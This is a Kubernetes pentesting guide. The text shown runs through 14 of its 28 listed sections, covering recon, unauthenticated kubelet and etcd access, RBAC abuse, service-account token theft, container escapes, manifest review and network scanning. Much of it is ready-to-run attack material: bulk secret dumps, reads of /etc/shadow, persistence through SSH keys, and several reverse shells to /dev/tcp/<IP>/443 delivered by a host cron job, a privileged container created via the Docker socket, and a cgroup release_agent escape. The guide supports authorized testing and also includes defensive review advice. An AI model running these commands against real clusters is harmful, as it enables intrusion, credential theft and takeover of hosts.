Kubernetes Pentesting Guide

Kubernetes Pentesting Guide


Table of Contents

  1. Tooling Setup
  2. Kubernetes Architecture — Attack Surface
  3. External Reconnaissance & Discovery
  4. Unauthenticated Access Checks
  5. Authenticated Enumeration (kubectl)
  6. RBAC Enumeration & Abuse
  7. Service Account Token Exploitation
  8. Pod Security — Breakout & Escape
  9. Container Image Security Review
  10. Code Review — K8s Manifests & Helm Charts
  11. Code Review — Application Code in K8s
  12. Secrets Management
  13. etcd Exploitation
  14. Network Policy & Service Mesh
  15. Kubelet Exploitation
  16. API Server Attacks
  17. Cloud Provider Metadata Attacks
  18. Lateral Movement in K8s
  19. Privilege Escalation Paths
  20. Persistence in Kubernetes
  21. Admission Controller Bypass
  22. Helm & Tiller Attacks
  23. CI/CD Pipeline Attacks (K8s Context)
  24. Managed K8s — EKS / AKS / GKE Specific
  25. Defense Evasion
  26. Post-Exploitation & Data Exfiltration
  27. Security Checklist
  28. References & Tools

Tooling Setup

# kubectl (K8s CLI)
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
chmod +x kubectl && sudo mv kubectl /usr/local/bin/

# kubeletctl (direct kubelet interaction)
curl -LO https://github.com/cyberark/kubeletctl/releases/latest/download/kubeletctl_linux_amd64
chmod +x kubeletctl_linux_amd64 && sudo mv kubeletctl_linux_amd64 /usr/local/bin/kubeletctl

# kube-hunter (automated K8s pentest scanner)
pip3 install kube-hunter

# kubeaudit (audit K8s clusters for security)
go install github.com/Shopify/kubeaudit@latest

# peirates (K8s pentest tool)
go install github.com/inguardians/peirates@latest

# kdigger (K8s focused container breakout tool)
go install github.com/quarkslab/kdigger@latest

# trivy (container image scanner)
curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh | sh -s -- -b /usr/local/bin

# kubesec (K8s manifest static analysis)
curl -sSL https://github.com/controlplaneio/kubesec/releases/latest/download/kubesec_linux_amd64.tar.gz | tar xz
sudo mv kubesec /usr/local/bin/

# kubectl-who-can (RBAC query tool)
kubectl krew install who-can

# kubectl-access-matrix (RBAC overview)
kubectl krew install access-matrix

# CDK (container/K8s exploit toolkit)
curl -LO https://github.com/cdk-team/CDK/releases/latest/download/cdk_linux_amd64
chmod +x cdk_linux_amd64 && mv cdk_linux_amd64 cdk

# BOtB (Break out the Box — container breakout)
go install github.com/brompwnie/botb@latest

Kubernetes Architecture — Attack Surface

┌─────────────────────────────────────────────────────────────┐
│                        CONTROL PLANE                         │
│  ┌──────────┐  ┌──────┐  ┌───────────────┐  ┌───────────┐  │
│  │API Server│  │ etcd │  │Controller Mgr │  │ Scheduler │  │
│  │ :6443    │  │:2379 │  │               │  │           │  │
│  └──────────┘  └──────┘  └───────────────┘  └───────────┘  │
└─────────────────────────────────────────────────────────────┘
         │
┌────────┴────────────────────────────────────────────────────┐
│                         WORKER NODES                         │
│  ┌──────────┐  ┌──────────────┐  ┌────────────────────────┐ │
│  │ Kubelet  │  │ kube-proxy   │  │ Container Runtime      │ │
│  │ :10250   │  │ :10256       │  │ (containerd/cri-o)     │ │
│  └──────────┘  └──────────────┘  └────────────────────────┘ │
│  ┌─────┐ ┌─────┐ ┌─────┐                                    │
│  │Pod A│ │Pod B│ │Pod C│  ← each pod has a service account  │
│  └─────┘ └─────┘ └─────┘    token mounted at               │
│                               /var/run/secrets/...           │
└──────────────────────────────────────────────────────────────┘

Attack surfaces:
- API Server (6443) — main entry, RBAC bypass, anonymous auth
- etcd (2379/2380) — unauth read = full cluster secrets
- Kubelet (10250/10255) — unauthenticated exec into pods
- Container runtime socket — breakout to host
- Cloud metadata (169.254.169.254) — IAM cred theft from pods
- Service account tokens — auto-mounted, often overprivileged
- Network policies — often missing = full pod-to-pod access

External Reconnaissance & Discovery

# --- Discover K8s-related services ---

# Nmap scan for common K8s ports
nmap -sT -p 443,2379,2380,6443,8001,8080,8443,10250,10255,10256,30000-32767 <TARGET_IP>

# Port meanings:
# 6443  = API server (HTTPS)
# 2379  = etcd client
# 2380  = etcd peer
# 10250 = Kubelet API (HTTPS, authenticated)
# 10255 = Kubelet read-only (HTTP, deprecated but sometimes open)
# 10256 = kube-proxy health
# 8001  = kubectl proxy (if exposed)
# 8080  = API server insecure port (legacy, should be disabled)
# 30000-32767 = NodePort services

# Shodan queries
# "kubernetes" port:6443
# "etcd" port:2379
# "kubelet" port:10250
# http.title:"Kubernetes Dashboard"

# Google dorks
# site:*.k8s.* OR inurl:kubernetes-dashboard
# intitle:"Kubernetes Dashboard" inurl:dashboard

# DNS enumeration (internal)
dig +short SRV _kube._tcp.<DOMAIN>
dig +short kubernetes.default.svc.cluster.local @<DNS_IP>
nslookup kubernetes.default.svc.cluster.local <DNS_IP>

# Certificate transparency for K8s subdomains
curl -s "https://crt.sh/?q=%25.k8s.<DOMAIN>&output=json" | jq -r '.[].name_value' | sort -u

Unauthenticated Access Checks

# --- API Server anonymous auth ---
# Check if anonymous requests return cluster info
curl -sk https://<API_SERVER>:6443/api
curl -sk https://<API_SERVER>:6443/api/v1
curl -sk https://<API_SERVER>:6443/apis
curl -sk https://<API_SERVER>:6443/version
curl -sk https://<API_SERVER>:6443/healthz

# Check for anonymous RBAC bindings (big find if yes)
curl -sk https://<API_SERVER>:6443/api/v1/namespaces
curl -sk https://<API_SERVER>:6443/api/v1/pods
curl -sk https://<API_SERVER>:6443/api/v1/secrets

# Insecure port (should be disabled, but check)
curl -s http://<API_SERVER>:8080/api
curl -s http://<API_SERVER>:8080/api/v1/pods
curl -s http://<API_SERVER>:8080/api/v1/secrets

# --- Kubelet unauthenticated ---
# Read-only port (10255, deprecated)
curl -s http://<NODE_IP>:10255/pods | jq '.items[].metadata.name'
curl -s http://<NODE_IP>:10255/spec
curl -s http://<NODE_IP>:10255/metrics

# Kubelet full API (10250) — check for anonymous auth
curl -sk https://<NODE_IP>:10250/pods
curl -sk https://<NODE_IP>:10250/runningpods
curl -sk https://<NODE_IP>:10250/healthz

# Execute command in pod via kubelet (if anonymous auth enabled!)
curl -sk https://<NODE_IP>:10250/run/<NAMESPACE>/<POD_NAME>/<CONTAINER_NAME> -d "cmd=id"
curl -sk https://<NODE_IP>:10250/exec/<NAMESPACE>/<POD_NAME>/<CONTAINER_NAME> -d "cmd=cat /etc/shadow"

# kubeletctl (automated)
kubeletctl pods -s <NODE_IP>
kubeletctl runningpods -s <NODE_IP>
kubeletctl exec "id" -p <POD> -c <CONTAINER> -s <NODE_IP>
kubeletctl scan rce -s <NODE_IP>

# --- etcd unauthenticated ---
# Check if etcd allows anonymous connections
etcdctl --endpoints=http://<ETCD_IP>:2379 endpoint health
etcdctl --endpoints=http://<ETCD_IP>:2379 get / --prefix --keys-only | head -50

# Dump all secrets from etcd
etcdctl --endpoints=http://<ETCD_IP>:2379 get /registry/secrets --prefix --keys-only
etcdctl --endpoints=http://<ETCD_IP>:2379 get /registry/secrets/default --prefix

# --- Kubernetes Dashboard ---
# Check for unauthenticated dashboard
curl -sk https://<IP>:443/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/
# Or on NodePort
curl -sk https://<NODE_IP>:<NODEPORT>
# Check if "Skip" login button works (gives default service account)

# --- kube-hunter automated scan ---
kube-hunter --remote <TARGET_IP>
kube-hunter --cidr <SUBNET>/24
# From within a pod:
kube-hunter --pod

Authenticated Enumeration

# --- Setup kubeconfig ---
# If you obtained a kubeconfig file or service account token:
export KUBECONFIG=/path/to/kubeconfig

# Or use token directly
kubectl --server=https://<API_SERVER>:6443 --token=<TOKEN> --insecure-skip-tls-verify get pods

# --- Cluster info ---
kubectl cluster-info
kubectl version --short
kubectl get nodes -o wide
kubectl get namespaces
kubectl api-resources     # what resource types exist
kubectl api-versions      # what API versions are available

# --- Enumerate everything ---
# All resources in all namespaces
kubectl get all -A
kubectl get all -A -o wide

# Pods
kubectl get pods -A -o wide
kubectl get pods -A -o json | jq '.items[] | {name: .metadata.name, ns: .metadata.namespace, node: .spec.nodeName, sa: .spec.serviceAccountName, hostNetwork: .spec.hostNetwork, privileged: (.spec.containers[].securityContext.privileged // false)}'

# Services (find exposed endpoints)
kubectl get svc -A -o wide
kubectl get svc -A -o json | jq '.items[] | {name: .metadata.name, type: .spec.type, ports: .spec.ports, externalIP: .spec.externalIPs}'

# Ingresses
kubectl get ingress -A
kubectl get ingress -A -o json | jq '.items[] | {name: .metadata.name, host: .spec.rules[].host, paths: .spec.rules[].http.paths}'

# ConfigMaps (may contain credentials, connection strings)
kubectl get configmaps -A
kubectl get configmap <NAME> -n <NS> -o yaml

# Secrets (base64 encoded, not encrypted!)
kubectl get secrets -A
kubectl get secret <NAME> -n <NS> -o json | jq '.data | map_values(@base64d)'

# Service Accounts
kubectl get serviceaccounts -A
kubectl get sa -n <NS> -o yaml

# PersistentVolumes (may mount sensitive host paths)
kubectl get pv -A
kubectl get pvc -A

# Deployments, DaemonSets, StatefulSets
kubectl get deploy -A
kubectl get daemonset -A
kubectl get statefulset -A

# Jobs & CronJobs
kubectl get jobs -A
kubectl get cronjobs -A

# Network Policies
kubectl get networkpolicies -A

# Pod Security Policies / Pod Security Standards
kubectl get psp                           # legacy (removed in 1.25)
kubectl get podsecuritypolicies           # legacy
kubectl label --list ns <NS>              # check for PSS labels

# --- Quick wins ---
# Find privileged pods
kubectl get pods -A -o json | jq '.items[] | select(.spec.containers[].securityContext.privileged==true) | {name: .metadata.name, ns: .metadata.namespace}'

# Find pods with hostPID/hostNetwork
kubectl get pods -A -o json | jq '.items[] | select(.spec.hostPID==true or .spec.hostNetwork==true) | {name: .metadata.name, ns: .metadata.namespace}'

# Find pods mounting host filesystem
kubectl get pods -A -o json | jq '.items[] | select(.spec.volumes[]?.hostPath != null) | {name: .metadata.name, ns: .metadata.namespace, hostPaths: [.spec.volumes[] | select(.hostPath != null) | .hostPath.path]}'

# Find pods running as root
kubectl get pods -A -o json | jq '.items[] | select(.spec.containers[].securityContext.runAsUser==0 or .spec.securityContext.runAsUser==0) | {name: .metadata.name, ns: .metadata.namespace}'

RBAC Enumeration & Abuse

# --- What can I do? ---
kubectl auth can-i --list
kubectl auth can-i --list -n <NAMESPACE>
kubectl auth can-i --list --as system:anonymous    # check anonymous access
kubectl auth can-i create pods
kubectl auth can-i create pods -n kube-system
kubectl auth can-i get secrets
kubectl auth can-i '*' '*'     # cluster-admin check

# --- Enumerate Roles & Bindings ---
# ClusterRoles (cluster-wide)
kubectl get clusterroles
kubectl get clusterroles -o json | jq '.items[] | select(.rules[].resources[] == "*" or .rules[].verbs[] == "*") | .metadata.name'

# ClusterRoleBindings
kubectl get clusterrolebindings
kubectl get clusterrolebindings -o json | jq '.items[] | {name: .metadata.name, role: .roleRef.name, subjects: .subjects}'

# Roles (namespace-scoped)
kubectl get roles -A
kubectl get roles -n <NS> -o json | jq '.items[] | {name: .metadata.name, rules: .rules}'

# RoleBindings
kubectl get rolebindings -A
kubectl get rolebindings -n <NS> -o json | jq '.items[] | {name: .metadata.name, role: .roleRef.name, subjects: .subjects}'

# --- Find overprivileged service accounts ---
# Who can get secrets?
kubectl who-can get secrets -A
kubectl who-can get secrets -n kube-system

# Who can create pods?
kubectl who-can create pods -A

# Who can exec into pods?
kubectl who-can create pods/exec -A

# Who has cluster-admin?
kubectl get clusterrolebindings -o json | jq '.items[] | select(.roleRef.name=="cluster-admin") | {name: .metadata.name, subjects: .subjects}'

# --- RBAC abuse: escalate via create pods ---
# If you can create pods in a namespace with a privileged SA:
# Create a pod using a high-privilege service account
# priv-pod.yaml — abuse a service account with high privileges
apiVersion: v1
kind: Pod
metadata:
  name: privesc-pod
  namespace: <NAMESPACE>
spec:
  serviceAccountName: <HIGH_PRIV_SA>
  automountServiceAccountToken: true
  containers:
  - name: shell
    image: ubuntu
    command: ["/bin/bash", "-c", "sleep infinity"]
kubectl apply -f priv-pod.yaml
kubectl exec -it privesc-pod -n <NAMESPACE> -- bash
# Inside: cat /var/run/secrets/kubernetes.io/serviceaccount/token
# Use that token to authenticate to the API with higher privileges

# --- RBAC abuse: impersonate ---
# If you have impersonate rights:
kubectl auth can-i impersonate users
kubectl auth can-i impersonate serviceaccounts

# Use impersonation
kubectl --as=system:admin get secrets -A
kubectl --as=system:serviceaccount:kube-system:default get pods -A

Service Account Token Exploitation

# --- From inside a pod ---

# Default token mount location
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace

# Set up environment
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
export APISERVER=https://kubernetes.default.svc
export NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)

# --- Query API with token ---
# What can this SA do?
curl -sk -H "Authorization: Bearer $TOKEN" $APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews -X POST -H "Content-Type: application/json" -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"'$NAMESPACE'"}}'

# List pods
curl -sk -H "Authorization: Bearer $TOKEN" $APISERVER/api/v1/namespaces/$NAMESPACE/pods

# Get secrets
curl -sk -H "Authorization: Bearer $TOKEN" $APISERVER/api/v1/namespaces/$NAMESPACE/secrets

# List all namespaces
curl -sk -H "Authorization: Bearer $TOKEN" $APISERVER/api/v1/namespaces

# Get nodes (cluster-scoped)
curl -sk -H "Authorization: Bearer $TOKEN" $APISERVER/api/v1/nodes

# --- Use kubectl from inside the pod ---
# Download kubectl
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
chmod +x kubectl

# It auto-detects the mounted SA token
./kubectl auth can-i --list
./kubectl get pods
./kubectl get secrets

# --- Steal tokens from other pods ---
# If you have access to the node filesystem (hostPath mount or container escape):
find /var/lib/kubelet/pods -name token -type l 2>/dev/null
find /var/lib/kubelet/pods -name "*.jwt" 2>/dev/null

# Each pod's token is at:
# /var/lib/kubelet/pods/<POD_UID>/volumes/kubernetes.io~projected/kube-api-access-<RAND>/token

# --- JWT token inspection ---
# Decode the token to see SA name, namespace, and expiry
echo $TOKEN | cut -d'.' -f2 | base64 -d 2>/dev/null | jq .

Pod Security — Breakout & Escape

Detect Container Environment

# Am I in a container?
cat /proc/1/cgroup 2>/dev/null | grep -i docker\|kubepods\|containerd
ls -la /.dockerenv 2>/dev/null
cat /proc/self/mountinfo | grep -i kubernetes
hostname  # K8s pods usually have the pod name as hostname
env | grep -i KUBERNETES

# What capabilities do I have?
cat /proc/self/status | grep Cap
# Decode: capsh --decode=<HEX>
capsh --print 2>/dev/null

# Am I privileged?
cat /proc/self/status | grep -i seccomp
# Seccomp: 0 = disabled (privileged)
# Seccomp: 2 = filter mode (normal)

# Check for container runtime socket
ls -la /var/run/docker.sock 2>/dev/null
ls -la /run/containerd/containerd.sock 2>/dev/null
ls -la /var/run/crio/crio.sock 2>/dev/null

Privileged Pod Escape

# --- If the pod is privileged (securityContext.privileged: true) ---

# Method 1: Mount host filesystem
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host    # or /dev/xvda1 on AWS
# Now access entire host filesystem
cat /mnt/host/etc/shadow
cat /mnt/host/etc/kubernetes/admin.conf
ls /mnt/host/var/lib/kubelet/
chroot /mnt/host bash         # become root on the host

# Method 2: nsenter to host PID namespace
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
# You are now root on the host

# Method 3: Write cron job on host
echo '* * * * * root bash -c "bash -i >& /dev/tcp/<IP>/443 0>&1"' > /mnt/host/etc/cron.d/revshell

# Method 4: Write SSH key
mkdir -p /mnt/host/root/.ssh
echo '<YOUR_SSH_PUBKEY>' >> /mnt/host/root/.ssh/authorized_keys

# --- CDK automated exploit ---
./cdk evaluate           # evaluate container security
./cdk run shim-pwn       # exploit containerd-shim
./cdk run docker-sock-deploy   # deploy via docker socket
./cdk run mount-disk     # mount host disk

Container Runtime Socket Escape

# --- Docker socket mounted ---
# Check: ls -la /var/run/docker.sock
# If writable, you can create containers on the host

# List containers
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json | jq '.[].Names'

# Create a privileged container with host filesystem
curl -s --unix-socket /var/run/docker.sock -X POST \
  -H "Content-Type: application/json" \
  http://localhost/containers/create \
  -d '{"Image":"alpine","Cmd":["/bin/sh","-c","chroot /host bash -c \"bash -i >& /dev/tcp/<IP>/443 0>&1\""],"Binds":["/:/host"],"Privileged":true}'

# Start it
curl -s --unix-socket /var/run/docker.sock -X POST http://localhost/containers/<ID>/start

# --- containerd socket ---
# Use ctr (containerd CLI)
ctr -a /run/containerd/containerd.sock containers list
ctr -a /run/containerd/containerd.sock tasks exec --exec-id pwn <CONTAINER_ID> /bin/sh

# --- crictl (CRI-O) ---
crictl --runtime-endpoint unix:///var/run/crio/crio.sock pods
crictl --runtime-endpoint unix:///var/run/crio/crio.sock exec <CONTAINER_ID> /bin/sh

Escape via Host Path Mounts

# If pod has hostPath volume mounted to sensitive paths:
# /etc, /var/run, /var/lib/kubelet, /root, etc.

# Check what's mounted
mount | grep -v "overlay\|proc\|sys\|tmpfs\|cgroup"
cat /proc/self/mountinfo | grep -v "overlay\|proc\|sys"

# If /var/lib/kubelet is accessible:
find /var/lib/kubelet/pods -name token 2>/dev/null

# If /var/run/docker.sock or runtime socket is mounted:
# See Container Runtime Socket Escape above

# If /etc of host is mounted:
cat /host-etc/shadow
cat /host-etc/kubernetes/admin.conf

Escape via Capabilities

# --- CAP_SYS_ADMIN ---
# Mount host filesystem
mount /dev/sda1 /mnt

# Or abuse cgroup release_agent
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "bash -i >& /dev/tcp/<IP>/443 0>&1" >> /cmd
chmod +x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# --- CAP_SYS_PTRACE ---
# Inject into processes on the same host (if hostPID: true)
# Use nsenter or process_vm_writev

# --- CAP_NET_ADMIN ---
# Sniff traffic, ARP spoof within the pod network
tcpdump -i eth0 -w /tmp/capture.pcap

# --- CAP_DAC_READ_SEARCH ---
# Read any file regardless of permissions
# Use open_by_handle_at() exploit: https://github.com/gabrtv/shocker

Container Image Security Review

# --- Scan images for vulnerabilities ---
trivy image <IMAGE_NAME>:<TAG>
trivy image --severity HIGH,CRITICAL <IMAGE>:<TAG>
trivy image --ignore-unfixed <IMAGE>:<TAG>

# Scan all images running in the cluster
kubectl get pods -A -o json | jq -r '.items[].spec.containers[].image' | sort -u | while read img; do
  echo "=== Scanning: $img ==="
  trivy image --severity HIGH,CRITICAL "$img" 2>/dev/null
done

# --- Inspect image layers (find secrets) ---
# Pull and inspect
docker pull <IMAGE>
docker history <IMAGE> --no-trunc
docker inspect <IMAGE>

# Dive (interactive layer explorer)
dive <IMAGE>

# Extract filesystem
docker save <IMAGE> -o image.tar
mkdir image_extract && tar xf image.tar -C image_extract

# Search for secrets in layers
find image_extract -name "*.tar" -exec tar tf {} \; | grep -iE "\.env|password|secret|key|token|credential|\.pem|\.key"
for layer in image_extract/*/layer.tar; do
  echo "=== $layer ==="
  tar xf "$layer" -C /tmp/layer_check 2>/dev/null
  grep -rn -iE "password|secret|api_key|token|AWS_" /tmp/layer_check 2>/dev/null
  rm -rf /tmp/layer_check
done

# --- Check for hardcoded credentials in Dockerfiles ---
# Look in build history for ARG/ENV with secrets
docker history --no-trunc <IMAGE> | grep -iE "ARG|ENV" | grep -iE "pass|secret|key|token"

# --- Image provenance ---
# Check if image is from a trusted registry
kubectl get pods -A -o json | jq -r '.items[].spec.containers[].image' | sort -u | grep -v "gcr.io\|docker.io\|quay.io\|amazonaws.com"
# Images from unknown registries = supply chain risk

Code Review — K8s Manifests & Helm Charts

What to Look For

# === DANGEROUS POD SPECS ===

# 1. Privileged containers (full host access)
securityContext:
  privileged: true          # BAD — grants all capabilities + device access

# 2. Host namespaces (access host PID/network/IPC)
hostPID: true               # BAD — see host processes, ptrace them
hostNetwork: true            # BAD — bind to host ports, sniff traffic
hostIPC: true                # BAD — shared memory access

# 3. Dangerous capabilities
securityContext:
  capabilities:
    add:
    - SYS_ADMIN             # BAD — mount filesystems, escape container
    - SYS_PTRACE             # BAD — debug/inject into host processes
    - NET_ADMIN              # BAD — network manipulation
    - DAC_READ_SEARCH        # BAD — read any file
    - NET_RAW                # RISKY — raw sockets, ARP spoof

# 4. Host filesystem mounts
volumes:
- name: host-root
  hostPath:
    path: /                  # BAD — entire host filesystem
- name: docker-sock
  hostPath:
    path: /var/run/docker.sock   # BAD — container escape
- name: kubelet
  hostPath:
    path: /var/lib/kubelet       # BAD — steal SA tokens

# 5. Running as root
securityContext:
  runAsUser: 0               # BAD — root in container
  runAsNonRoot: false         # BAD — allows root
  # GOOD: runAsNonRoot: true, runAsUser: 1000

# 6. Writable root filesystem
securityContext:
  readOnlyRootFilesystem: false   # RISKY — attacker can write to container FS
  # GOOD: readOnlyRootFilesystem: true

# 7. Service account auto-mount (usually unnecessary)
automountServiceAccountToken: true   # Default! Most pods don't need API access
# GOOD: automountServiceAccountToken: false

# 8. No resource limits (DoS risk)
# Missing: resources.limits.cpu, resources.limits.memory

# 9. Secrets in environment variables (visible in pod spec)
env:
- name: DB_PASSWORD
  value: "plaintext-password"    # BAD — use secretKeyRef instead
# Slightly better but still base64:
- name: DB_PASSWORD
  valueFrom:
    secretKeyRef:
      name: db-secret
      key: password

Automated Manifest Scanning

# kubesec — score manifests for security
kubesec scan deployment.yaml
# Returns score and list of issues

# kube-linter — static analysis for K8s manifests
kube-lint lint deployment.yaml

# checkov — IaC security scanner
checkov -f deployment.yaml --framework kubernetes

# OPA/Gatekeeper — check against policies
# conftest (OPA for CI)
conftest test deployment.yaml --policy policy/

# Scan entire directory of manifests
find . -name "*.yaml" -o -name "*.yml" | xargs -I{} kubesec scan {}

Helm Chart Review

# Render Helm templates to see actual K8s manifests
helm template <CHART_DIR> > rendered.yaml
helm template <RELEASE_NAME> <CHART_DIR> --values values.yaml > rendered.yaml

# Review values.yaml for defaults
cat values.yaml | grep -iE "password|secret|key|token|privileged|hostPath|hostNetwork|root"

# Check for hardcoded secrets in templates
grep -rn "password\|secret\|apiKey\|token" templates/

# Scan rendered output
kubesec scan rendered.yaml

# Check if Helm release secrets are accessible
kubectl get secrets -A | grep "sh.helm.release"
kubectl get secret sh.helm.release.v1.<RELEASE>.v1 -n <NS> -o json | jq -r '.data.release' | base64 -d | base64 -d | gzip -d

Code Review — Application Code in K8s

K8s-Specific Code Patterns to Audit

# === INSECURE K8S CLIENT CONFIGURATION ===

# Python — kubernetes client with disabled TLS verification
from kubernetes import client, config
configuration = client.Configuration()
configuration.verify_ssl = False          # BAD — MitM risk
configuration.host = "https://kubernetes.default.svc"

# Python — hardcoded service account token
configuration.api_key = {"authorization": "Bearer eyJhbGci..."}  # BAD — token in code

# GOOD: use in-cluster config
config.load_incluster_config()            # Uses mounted SA token automatically
// Go — insecure K8s client
import "k8s.io/client-go/rest"

config := &rest.Config{
    Host:            "https://kubernetes.default.svc:6443",
    BearerToken:     "eyJhbGci...",       // BAD — hardcoded token
    TLSClientConfig: rest.TLSClientConfig{
        Insecure: true,                    // BAD — no TLS verification
    },
}

// GOOD:
config, _ := rest.InClusterConfig()
// Java — fabric8 kubernetes client
import io.fabric8.kubernetes.client.*;

// BAD: hardcoded credentials
Config config = new ConfigBuilder()
    .withMasterUrl("https://kubernetes.default.svc")
    .withOauthToken("eyJhbGci...")          // hardcoded
    .withTrustCerts(true)                   // no TLS verify
    .build();

// GOOD:
KubernetesClient client = new KubernetesClientBuilder().build();  // auto in-cluster

Application-Level K8s Security Issues

# === WHAT TO GREP FOR IN APPLICATION CODE ===

# Hardcoded K8s tokens/credentials
grep -rn "eyJhbGci" .                                    # JWT tokens
grep -rn "Bearer " . | grep -v test                      # Auth headers
grep -rn "kubernetes.default.svc" .                      # API server refs

# Insecure TLS
grep -rn "verify_ssl.*False\|InsecureSkipVerify.*true\|TrustCerts.*true\|VERIFY_NONE" .

# Environment variable secrets (should use mounted secrets or vault)
grep -rn "os.environ\|os.Getenv\|System.getenv" . | grep -iE "password|secret|key|token"

# Cloud metadata access
grep -rn "169.254.169.254" .                             # metadata endpoint
grep -rn "metadata.google\|metadata.azure" .

# Container exec (code that runs kubectl exec or API equivalent)
grep -rn "pods/exec\|container.*exec\|kubectl.*exec" .

# ServiceAccount mounting
grep -rn "automountServiceAccountToken\|serviceAccountName\|serviceAccount:" .

# Privilege escalation in specs
grep -rn "privileged.*true\|hostPID.*true\|hostNetwork.*true\|SYS_ADMIN\|SYS_PTRACE" .

Admission Webhook Code Review

// If the target runs custom admission webhooks, review for:

// 1. Bypass via label/annotation manipulation
// Does the webhook only check certain namespaces/labels?
if pod.Namespace == "kube-system" { return allowed }  // BAD — skip security for system ns

// 2. Missing validation
// Does it actually reject dangerous configs?
// Check: privileged, hostPath, capabilities, runAsRoot

// 3. Mutating webhook that injects secrets
// Does it inject tokens/creds that shouldn't be broadly available?

// 4. Webhook TLS configuration
// Is it using self-signed certs? Can it be MitM'd?

Secrets Management

# --- K8s Secrets are base64, NOT encrypted at rest by default ---

# List all secrets
kubectl get secrets -A

# Decode a secret
kubectl get secret <NAME> -n <NS> -o json | jq '.data | map_values(@base64d)'

# One-liner: dump ALL secrets from ALL namespaces
kubectl get secrets -A -o json | jq '.items[] | {ns: .metadata.namespace, name: .metadata.name, data: (.data // {} | map_values(@base64d))}'

# Search secrets for interesting data
kubectl get secrets -A -o json | jq -r '.items[].data // {} | to_entries[] | .value' | while read val; do echo "$val" | base64 -d 2>/dev/null; echo; done | grep -iE "password|token|key|secret|conn"

# --- Check if secrets are encrypted at rest ---
# On the control plane node:
cat /etc/kubernetes/manifests/kube-apiserver.yaml | grep encryption-provider-config
# If missing → secrets stored in plaintext in etcd

# --- Mounted secrets in pods ---
# Find where secrets are mounted
kubectl get pods -A -o json | jq '.items[] | {pod: .metadata.name, ns: .metadata.namespace, secrets: [.spec.volumes[]? | select(.secret != null) | .secret.secretName]}'

# --- External secrets ---
# Check for external-secrets or sealed-secrets
kubectl get externalsecrets -A 2>/dev/null
kubectl get sealedsecrets -A 2>/dev/null

# --- Vault integration ---
# Check for Vault Agent injector
kubectl get mutatingwebhookconfigurations | grep vault
kubectl get pods -A | grep vault

etcd Exploitation

# --- If you have access to etcd (port 2379) ---
# This is game over — etcd stores ALL cluster state including secrets

# Install etcdctl
ETCD_VER=v3.5.9
curl -L https://github.com/etcd-io/etcd/releases/download/${ETCD_VER}/etcd-${ETCD_VER}-linux-amd64.tar.gz | tar xz
sudo mv etcd-${ETCD_VER}-linux-amd64/etcdctl /usr/local/bin/

# --- Unauthenticated access ---
etcdctl --endpoints=http://<ETCD_IP>:2379 endpoint health
etcdctl --endpoints=http://<ETCD_IP>:2379 member list

# --- With TLS client certs (if you've stolen them) ---
etcdctl --endpoints=https://<ETCD_IP>:2379 \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  --cert=/etc/kubernetes/pki/etcd/server.crt \
  --key=/etc/kubernetes/pki/etcd/server.key \
  endpoint health

# --- Dump everything ---
etcdctl --endpoints=<ENDPOINT> get / --prefix --keys-only | head -100
etcdctl --endpoints=<ENDPOINT> get / --prefix > etcd_dump.txt

# --- Extract secrets ---
etcdctl --endpoints=<ENDPOINT> get /registry/secrets --prefix --keys-only
etcdctl --endpoints=<ENDPOINT> get /registry/secrets/kube-system --prefix
etcdctl --endpoints=<ENDPOINT> get /registry/secrets/default --prefix

# --- Extract service account tokens ---
etcdctl --endpoints=<ENDPOINT> get /registry/serviceaccounts --prefix --keys-only
etcdctl --endpoints=<ENDPOINT> get /registry/secrets/kube-system/default-token --prefix

# --- Find admin kubeconfig ---
etcdctl --endpoints=<ENDPOINT> get /registry/secrets/kube-system --prefix | strings | grep -A5 "kubeconfig\|admin"

# --- Modify cluster state (careful!) ---
# Create a cluster-admin binding for your user
# (Extract existing binding, modify, put back)

Network Policy & Service Mesh

# --- Check if NetworkPolicies exist ---
kubectl get networkpolicies -A
# Empty = no network segmentation = any pod can talk to any pod

# --- From inside a pod: scan the internal network ---
# Install tools
apt update && apt install -y nmap curl dnsutils netcat-openbsd

# Discover service CIDR
cat /etc/resolv.conf    # shows cluster DNS
env | grep KUBERNETES   # API server IP

# DNS service discovery
nslookup kubernetes.default.svc.cluster.local
# Query all services in a namespace
dig +short SRV *.*.svc.cluster.local @<CLUSTER_DNS_IP>

# Enumerate services via DNS
for ns in $(kubectl get ns -o jsonpath='{.items[*].metadata.name}' 2>/dev/null || echo "default kube-system"); do
  for svc in $(dig +short SRV *.${ns}.svc.cluster.local @10.96.0.10 2>/dev/null | awk '{print $4}' | sort -u); do
    echo "$ns: $svc"
  done
done

# Port scan common services within cluster
# Usually 10.96.0.0/12 (service CIDR) and 10.244.0.0/16 (pod CIDR)
nmap -sT -T4 -p 80,443,3306,5432,6379,8080,8443,9090,27017 10.96.0.0/16 2>/dev/null

# Access internal services directly
curl http://10.96.0.1:443     # API server
curl http://<SVC_CLUSTER_IP>:<PORT>

# --- Check for service mesh ---
# Istio
kubectl get pods -A | grep istio
kubectl get virtualservices -A 2>/dev/null
kubectl get destinationrules -A 2>/dev/null

# Linkerd
kubectl get pods -A | grep linkerd

# mTLS between services?
# If Istio with strict mTLS, pod-to-pod is encrypted
